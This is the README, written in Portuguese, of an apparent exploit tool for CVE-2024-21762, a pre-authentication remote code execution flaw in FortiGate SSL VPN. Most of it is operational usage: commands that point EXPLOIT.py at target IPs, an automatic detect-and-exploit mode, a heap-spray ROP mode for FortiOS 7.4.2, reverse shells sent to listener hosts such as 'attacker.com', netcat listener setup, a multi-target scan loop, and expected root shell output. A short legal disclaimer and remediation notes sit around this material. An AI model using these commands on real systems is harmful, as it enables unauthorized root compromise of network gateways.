
Detecta e explora o CVE-2024-21762 RCE pré-autenticação no FortiGate SSL VPN, apresentando validação de linha de base, exploração automática, modo heap-spray ROP e reverse shell.
Ferramenta de detecção e exploração para CVE-2024-21762 - Vulnerabilidade crítica em FortiGate SSL VPN
⚠️ AVISO LEGAL: Esta ferramenta é exclusivamente para uso em ambientes de teste autorizados. O uso não autorizado em sistemas é ILEGAL e pode resultar em sérias consequências legais.
CVE-2024-21762 é uma vulnerabilidade crítica em componentes FortiGate SSL VPN que permite Remote Code Execution (RCE) pré-autenticação. A falha existe em um parsing vulnerável de requisições HTTP com Transfer-Encoding chunked, resultando em out-of-bounds write no componente sslvpnd.
| Atributo | Informação |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerabilidade | Out-of-bounds write em sslvpnd |
| Tipo | Remote Code Execution (RCE) Pré-Autenticação |
| CVSS Score | 9.8 (Critical) |
| Componente Afetado | FortiOS SSL VPN |
| Versões Vulneráveis | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Detecção de Vulnerabilidade - Identifica FortiGate vulneráveis através de requisições malformadas
✅ Teste de Baseline - Verifica comportamento normal do servidor antes dos testes
✅ Modo Automático - Detecta vulnerabilidade e explora automaticamente
✅ Reverse Shell - Suporta reverse shell bash com configuração de IP/porta
✅ Validação de Entrada - Valida IPs e portas antes da exploração
✅ Relatórios Detalhados - Gera relatórios com recomendações de remediação
✅ Tratamento Robusto de Erros - Gerenciamento seguro de conexões e exceções
# Clone o repositório
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# Verifique a sintaxe
python -m py_compile EXPLOIT.py
# Execute o script
python EXPLOIT.py -h
# Teste simples de detecção
python EXPLOIT.py 192.168.1.100
# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443
# Com timeout aumentado
python EXPLOIT.py 192.168.1.100 --timeout 20
# Modo automático com reverse shell pré-configurado
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Modo automático sem credenciais (pede interativamente)
python EXPLOIT.py 192.168.1.100 --auto
O modo ROP implementa uma exploração de dois estágios com heap spray para alvos específicos (FortiOS 7.4.2):
# Exploração ROP com reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Com timeout aumentado para alvos lentos
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Fluxo de Exploração ROP:
No seu servidor de escuta:
# Linux/Mac/Windows com netcat
nc -lnvp 4242
# Saída esperada:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Nota Importante: O modo ROP é otimizado para FortiOS 7.4.2.F-build2571. Outras versões podem não funcionar devido aos offsets hardcoded do ROP chain.
# Enviar payload de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinação de múltiplas opções
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname ou IP a ser testado
optional arguments:
-h, --help Mostra esta mensagem de ajuda
-t, --target HOSTNAME Target hostname ou IP (alternativo)
-p, --port PORT Porta SSL VPN (padrão: 443)
--timeout SECONDS Timeout em segundos (padrão: 10)
-li, --lhost IP IP local para receber reverse shell
-lp, --lport PORT Porta local para receber reverse shell
--no-baseline Pula teste de baseline
--auto Modo automático: detecta e explora
--rop Modo ROP: exploração avançada com heap spray (FortiOS 7.4.2)
-v, --version Mostra versão do script
python EXPLOIT.py 192.168.1.100
Resultado esperado em caso de vulnerabilidade:
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
No seu servidor:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
A ferramenta considera um alvo vulnerável quando detecta um dos seguintes comportamentos:
| Versão | Detecção | ROP Mode | Status |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.2.0 - 7.2.6 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.4.0 - 7.4.1 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.4.2 (build≤2571) | ✅ Sim | ✅ Sim | ⚠️ VULNERÁVEL |
| FortiOS 7.4.3+ | ❌ Não | ❌ Não | ✅ CORRIGIDO |
Atualizar FortiOS para versão corrigida:
Isolação Temporária
Monitoramento
# Verificar versão do FortiOS
python EXPLOIT.py seu-fortinet.com
Se o resultado mostrar "NÃO VULNERÁVEL", o patch foi aplicado com sucesso.
CVE-2024-21762/
├── EXPLOIT.py # Script principal de exploração
├── README.md # Este arquivo
├── LICENSE # Licença MIT
└── .gitignore # Configuração Git